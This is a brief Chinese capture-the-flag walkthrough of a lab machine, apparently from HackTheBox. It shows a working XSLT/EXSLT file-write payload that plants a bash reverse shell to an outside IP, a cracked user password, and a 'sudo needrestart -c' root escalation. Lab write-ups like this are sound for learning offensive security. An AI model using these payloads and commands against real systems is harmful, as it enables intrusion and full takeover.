扫描发现只有一个80端口和22端口

访问80端口 web服务,先注册一个账号,登录即可

里面可以传xml和xslt文件,/about 路由里面有源码,分析源码会发现这里有一个xslt注入,另外有一个定时任务

每分钟会定时执行python脚本 ,因为是python起的服务加上机器是linux的,rce的话不太现实。所以说这里的思路是通过xslt注入实现任意文件写,xslt注入可以通过EXSLT拓展实现任意文件写

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
        xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:exp="http://exslt.org/common"
    extension-element-prefixes="exp"
    version="1.0">
<xsl:template match="/">
  <exp:document href="/var/www/conversor.htb/scripts/ifconfig.py" method="text">
import os;os.system("bash -c 'bash -i >&amp; /dev/tcp/10.10.16.54/4444 0>&amp;1'")
  </exp:document>
</xsl:template>
</xsl:stylesheet>

其实看源码是会发现有一个db文件的,是sqlite的。所以说整上shell后就可以先看看这个db文件,图便宜是直接用base64把这个db文件读下来的,正常来说是用sqllite进行交互的。能够看到有一个存在的用户的账号密码是

fismathack  5b5c3ac3a1c897c94caad48e6c71fdec

在这个网站上破解https://crackstation.net/

Keepmesafeandwarm

这边直接ssh连上去就行,拿到user.txt。sudo -l 看到有一个命令可以利用,可以用它的-c参数来进行提权

echo 'system("/bin/bash");' >/tmp/exp.pl
sudo needrestart -c /tmp/exp.pl

XSLT注入参考:https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/#write-files-with-exslt-extension